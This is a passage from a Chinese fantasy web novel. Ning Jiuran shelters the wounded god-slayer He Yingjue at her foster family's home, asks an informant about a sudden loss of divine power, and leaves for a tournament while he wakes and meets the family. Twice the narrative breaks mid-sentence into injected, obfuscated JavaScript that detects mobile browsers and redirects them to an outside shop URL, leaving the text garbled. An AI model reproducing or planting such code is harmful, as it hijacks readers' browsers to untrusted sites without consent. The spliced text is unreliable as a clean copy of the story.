宁九燃咽下嘴里的食物,本来怕吓着二人想说他不是,话到嘴边改了主意:“对,他就是请神司现任弑神者赫应决。” 唐宛芬和郑平友两人震惊地对视了下。 对于他们这种没有神格的普通人来说,要不是家里出了个提灯人,他们一辈子可能都不会跟请神司有太多的联系。请神司对于他们来说是存在于电视中的,遥不可及的,充满敬畏与奇幻的,更别提请神司地位仅次于司主的弑神者。 在他们眼里,这种人跟神明没什么区别。 可现在,这位好像只存在于传闻中的弑神者正受了重伤,躺在他们家二楼的医疗舱里,还是自己的养女带回来的。 复杂的情况让两人嘴都合不上。 “那个,唐姨,郑叔,他是我朋友,因为一些特殊的原因受了伤,有些地方不方便去,我想不到别的地方了,只能把他带回家。”宁九燃带着点歉意说,“这么晚突然回来,给你们添麻烦了。” 唐宛芬虽然还没捋清状况,但听宁九燃的话,立刻说:“一家人什么麻烦不麻烦?他是谁不重要,重要的是他是你的朋友,那你的朋友受了伤来家里养养,有什么不行呢?” 郑平友接到唐宛芬的眼色,连忙说:“是啊是啊,回自己家,带个朋友有什么的。哪麻烦啦,你不知道你唐姨多想你,接到你要回来的消息,时间都没听清就要到巷口接你去。” 宁九燃抿嘴笑笑:“谢谢唐姨郑叔,他其实也不像你们听说的那样,很多传闻也不是真的。在那样高的位置上,做事情都是身不由己的。你们不用太担心,他是个好人。等他恢复了就会离开,只不过因为他身份特殊,你们可能得保密一下,别跟街坊邻居说。” “放心小燃,我们知道的,我们不担心。”唐宛芬坐到宁九燃身边,捋了下她的碎发,心疼地说,“唐姨担心你,比赛那么危险,还那么辛苦,这才多少天,都瘦了。” 宁九燃靠在唐宛芬的肩膀上,宽慰她:“没瘦,就是昨晚没睡,看着脸色差了点,放心吧唐姨,你给我养出来的肉,我一斤都舍不得掉。” 唐宛芬被她逗笑了,轻柔地拍拍她的头:“好了,你早点休息吧。” 等唐宛芬和郑平友离开后,宁九燃又查看了下赫应决的情况,从各项数据来看情况正在转好。 她洗漱完,躺在床上伸了个懒腰,感觉身上的每一寸都在叫累,恨不得睡个三天三夜。 然而宁九燃闭了闭眼,又一骨碌翻起来。 有件事她得去求证下。 她打开个人终端,拨通包吉利的通讯,不出意料地听到一个困倦的“嗯”声。 “宁九燃,你知道现在几点了吗?” “包老板,我这次可没有凌晨打给你。”宁九燃先下手为强,“我就问一个问题,问完就不打扰你睡觉了。” “说。” “一个神力非常强大的人,在什么情况下会出现短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880666|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间内神力完全枯竭的症状?”宁九燃拣着措辞说。 “神力、突然、完全、枯竭?”包吉利的声音听着清醒了点,两字一顿,“小丫头,大半夜说梦话逗我玩呢?” “我也觉得很荒谬来着。”宁九燃叹了口气。 “你认真的?”包吉利反应过来,安静了会,说,“丫头,你知道的,特能人觉醒神格本质上是被神明选中,神格伴随一生直至死亡消散。如果说神力出现像你说的这种情况,必定是神格出了问题,而且一定是极其严重的问题。但是神格之事有太多奥秘,我也没法给你具体的答案。” 宁九燃皱眉:“连你都不知道吗?” 包吉利想了想,说:“小丫头,有一个人或许能回答你的问题,但如果他也说不上来,估计就无解了。” “谁?” 包吉利:“请神司,神塔之主苍尽辰。” 宁九燃眼睛一亮。 对啊,苍尽辰,大师级别的神格研究者,论神格理论世上没人比得过他! 包吉利提醒:“但是九燃,苍尽辰那样的人物可不是你想见就能见到的,就连请神司司主和四大家主想见他一面都不容易。他性格孤冷,听说他唯一的学生死了之后,再没收过任何学生。你想搭上他的话,可难得很。” 宁九燃:“知道了,我会想办法的。” 包吉利想了想又问:“小丫头,你这两天没出啥事吧?现在还在塔苏吗?我安排的人说你跟一个帅哥跑了,后来想想,那帅哥长得特像现任弑神者大人。” 这话说的……什么叫跟一个帅哥跑了? 宁九燃无语地一扶额,随即说:“放心,我没事,不是我跟人家跑了,是我跟踪的别人。不说了哈包老板,我还有点事。” 包吉利没多问:“行,多注意安全。” 宁九燃下床又看了眼医疗舱中赫应决的情况,上面的红灯依然亮着,不过各项生命指征已经趋于正常,透过透明的舱门,可以看见他面色恢复了不少。 赫应决即使昏迷平躺着,面容依旧出奇俊朗,皮肤白得发冷,像寒凉的精瓷在暗处泛着光。睫毛黑而细长,沉沉地压着眼睑。他的唇色是淡的,大约是失了水分,微微抿着。 整张脸好看得像神明最伟大的神迹,但现在又好像脆弱得一碰就会碎掉。 宁九燃环抱着手,不知不觉看了他许久,回神后微微蹙眉,像是自问又像是他问地轻声开口:“我居然……会好奇你的秘密?” 几分钟后,宁九燃的个人终端亮了起来,竟然是辰刻的通讯。 宁九燃绕到房间的另一侧,接起通讯:“辰刻,怎么了吗?” “九燃,赛程出了点状况,我们觉得应该要大家一起商量下。”辰刻说,“主办方刚刚通知我们,由于特殊原因要压缩赛程,本来定在后天下午的赛程提到了明天下午。” “这样吗,我还没注意。”宁九燃这一天多已经忙昏头了,还没来得及关注赛事信息,“那我记得我们后天的对手是实力不强,对付起来应该不难。” “本来是这样的,这支队伍本应该后天对阵我们,但它退出整个比赛了,所以我们直接获得胜利积分,但是明天的比赛没有取消,我们将对阵本该下下轮遇见的对手——厄莱克尔代表队。” 50. 第50章 “厄莱克尔?”宁九燃微微皱眉。 居然突然改赛程,还对上四大强队之一,怎么这么奇怪? “是,我还特地去问了,主办方说是不可抗力,赛程已经确定了。”辰刻说,“虽然我们之前讨论过对阵厄莱克尔的方案,但是你现在不在,我就想着跟你讨论一下。” 宁九燃思忖了下,道:“我现在就回请神城,明天正常参赛。” 辰刻:“那你自己的事情办完了吗?” 宁九燃:“差不多了,你先按照我们之前讨论的让大家准备,对了,嘲风的眼睛怎么样了?” “还没有完全恢复。” “好,那就把嘲风排在最后,我大概凌晨会到,剩下的等我回来安排。”宁九燃看了眼时间说。 “好。” 宁九燃挂掉通讯,把凤凰留在医疗舱旁,在房间里踱了两圈,找了张便利贴写了几行字,贴到医疗舱外后,就换上外衣下楼。 她跑到巷口坐上打好的车,一路直抵专列站,二十分钟后坐上最近的一班直通请神城的专列。 列车启动后,宁九燃打开个人终端给唐宛芬写了条定时信息: “唐姨,我的队伍明天要比赛,我就先回请神城了。医疗舱里的人如果醒了让他走就行,你们不用麻烦。” 想了想,宁九燃又补充了一句:“他这人很有钱的,要是想要金钱感谢一下你们,你们别客气。还有就是他人不坏但心眼多,少跟他说话。” 发完,宁九燃就闭目休息。 赫应决是被轻轻的拍打声吵醒的,清醒的那一瞬,整个人是恍惚的。 他已经很多年没有这样休息过了。 他抬起眼皮,看出自己正处在一个医疗舱里,上面的指示灯已经暗了下去,伤口的疼痛似乎已经消失。 这是哪里? 他记得他失去意识前,是和宁九燃在一起,她在哪里? “砰砰!” 拍打声又响起来。 赫应决慢慢抬眼往透明的舱门看去,然后就看见了一只胖嘟嘟的小手正在拍打舱门,小手的主人是个看起来只有三四岁的小姑娘,穿着淡粉色的蓬蓬裙,脑袋两侧的小辫子弯弯的,一双圆圆亮亮的眼睛正盯着他看。 她见赫应决注意到她,咧开嘴笑起来,嘴角白白的,像是沾了牛奶。 赫应决坐起身,腹部的伤已经愈合了大半,可以自如行动。 他抬手点了边上的一个按键,透明的舱门自动开启。 小姑娘一脸新奇地看着往上收的舱门,开心地伸手去够,虽然没够着,但她一点都不沮丧,靠近赫应决,嗓音糯糯的:“大哥哥,你怎么在姐姐的房间啊?” 赫应决跨出医疗舱,坐在舱缘上,一时没接话。 他有点不擅长跟这种小型的生命体打交道。 宁九燃哪去了?这里是她的房间吗?医疗舱哪来的?她怎么把我带到这来了?这粉色的小家伙是谁? 他表面平静,心里一串疑惑。 “哥哥,你怎么不说话?你是玩偶吗?”小姑娘蹲下来,歪着头看着赫应决,“我叫嘉宝,你是姐姐留给我的漂亮玩偶吗?” 说着,她伸出小手就要来摸赫应决的脸。 赫应决下意识地捏住她伸来的手,“杀人不眨眼”的赫大人手上没轻没重,嘉宝一吃痛,眼睛里水一汪,看着就要哭出来。 赫大人哪见过这场面,赶紧收回手,清清嗓子僵硬地出声:“你,不要哭,对……对不起。”语气生硬得像是在给下属下命令。 只是没想到嘉宝非常好哄,见他说话,眼泪秒收,笑着捏上他的脸:“玩偶哥哥说话了!” 赫应决:“……” 小孩子都这样阴晴不定吗…… “玩偶哥哥,你陪我玩好不好?姐姐不在家,嘉宝没人玩。”嘉宝嘴上在问,手已经得寸进尺地都捏在赫应决的脸上,活像在玩什么娃娃。 赫应决坐在那一动不动,腰杆绷成一条线。小孩子的手热热的,甚至还有点黏糊,也不知道是沾了什么,跟揉面团似的摆弄他的脸。但凡她再长个二十岁,现在估计已经被赫大人丢出去了。 生平头一回的体验让赫大人不知该如何应对这种情况。 “嘉宝,你跑你姐姐房间里干什——”唐宛芬给孩子喂完早饭,转身收拾了下厨房小家伙就端着牛奶跑没影了,她循着地上滴滴答答撒出来的牛奶找进九燃的房间,一推开门,吓得顿时失声。 嘉宝在玩弑神者的脸! 她腿都快吓软了,心中疯狂默念九燃说的弑神者是个好人,然后强装镇定地冲看向她的赫应决点点头:“醒……醒啦。” 赫应决不知道该接什么,就点了下头。 嘉宝松开手扑向唐宛芬:“妈妈!姐姐留的玩偶哥哥好好!哥哥还陪我玩!” 玩偶哥哥? 唐宛芬看看赫应决又看看全须全尾的嘉宝,心中的气松下来。 这年轻人长得这么俊,自己伤都没好还愿意陪孩子玩,怎么看也不是别人说的那种双手沾血的坏人,这么年轻做到弑神者这种高位上,说不定是人家勤奋努力呢。 何况这是小燃的朋友,得好好招待。 “那个,你受了伤,是小燃把你带回来的,用这个东西把你治好的。”唐宛芬露出友好的笑,“你现在感觉身体好了吗?还有没有哪里不舒服?有没有什么需要,随时跟我还有我丈夫说。” 赫应决被这一连串的关切弄得有点反应不过来,愣了几秒,起身轻声回应:“我没什么事了,多谢,叨扰了。” 这孩子,还这么有礼貌! 唐宛芬没几下已经彻底对赫应决改观了,挽起袖子往外走,回头说:“你在这等下,我下楼给你端来早饭,受伤的人得好好补。” “不……不用……”赫应决话还没说完,唐宛芬就已经关门跑下楼了。 赫应决在原地坐了十几秒,慢慢站起身,宁九燃房间的全貌进入视线。 房间不大,但算得上宽敞,墙是奶白色的,桌子是木质的,上面还摆了个用积木拼的星空,赫应决伸手碰了下,不知道按到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881863|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,里面的小星星一颗颗亮起来,整个星空积木开始旋转,光影在木质的桌面上流转。 床占了房间面积的小半,上面整齐的铺了全套淡蓝色的床品,被子的中间凹了下去,像是有人不掀被子在上面躺过。 枕头边上还趴了只圆滚滚的粉色小猪玩偶,眼睛只有一条缝,半截圆圆的身体盖在被子里,一副睡得正香的样子。 赫应决伸手在那只小猪的上空抚了下。 宁九燃,这就是你所喜欢的生活吧?平静,自然而又充满烟火气,睡前要想的大概是第二天早上吃什么,可以去哪玩,几点起才不会被家人唠叨。 他收回手,转到医疗舱旁,看见了宁九燃给他留的便签,上面的字迹相当潇洒: “赫应决大人,我又救你一命,记得谢我!还有,嘴巴长在脸上不是当摆设的,我妹妹都知道生病了要告诉妈妈。” 赫应决把便签小心地撕下来,整整齐齐地叠了两下放进衣服的口袋里。 没一会,唐宛芬就端了个托盘进来,上面放了一大盘冒着热气的锅贴、四个白白胖胖的小豆包、一小盘煎蛋、一碟子切好的酱牛肉还有满满一大杯热牛奶,她把托盘放到桌上,冲赫应决招手:“孩子,来,坐下吃。早上准备的东西不多,先将就着吃下,这都是小燃爱吃的,也不知道合不合你口味。” 赫应决被这陌生的称呼弄得愣了下,不熟悉的语气让他像个局促的孩子,任由唐宛芬拉着在桌边坐下,手中被塞了双筷子。 他看着满桌的食物,把心窝子掏遍了,终于挖出一句话来:“谢谢您,辛苦了。” 唐宛芬就这几下看他越看越顺眼,觉得这孩子长得俊,白白净净的,举手投足的那股气质格外好看,脸上还带着几分病态的憔悴,都快怜爱了:“不用客气,生病了就得吃好吃的,快吃吧,一会凉了。你是小燃的朋友就不用跟阿姨客气,你要是愿意,也就跟小燃一样叫我唐姨就行。” 赫应决没接话,夹起一个锅贴轻轻咬了口,汁水溢出来,微微烫了下舌尖。 “怎么样?好吃吗?”唐宛芬期待地问。 赫应决点头:“好吃。” 唐宛芬笑了:“我的手艺可好了,小燃那么挑嘴的人,对我做的饭可是照单全收。你平时爱吃什么?说几个我中午给你做。” 爱吃什么? 赫应决思考了两秒,脑海里飘过一排长得一模一样的营养膏,最终只能说:“没关系,我不挑食的。” “行,那阿姨去买菜了,你吃完饭就在这休息,碗筷不用收拾,小燃交代了让我们照顾好你。”唐宛芬轻轻拍了拍他的肩膀,转身冲在边上啃手指的嘉宝摆摆手,“嘉宝,找你爸爸玩去,哥哥生病了,要好好休息的。” “我要跟玩偶哥哥玩!”嘉宝扭着不想走。 “晚点再玩啊,不然妈妈生气了。” 唐宛芬抱着想赖在房间里的嘉宝出去后,赫应决轻轻放下筷子,木桌对着窗户,阳光透进来可以落在手上。 他看了看手上的光影,浅浅地浮起一抹笑。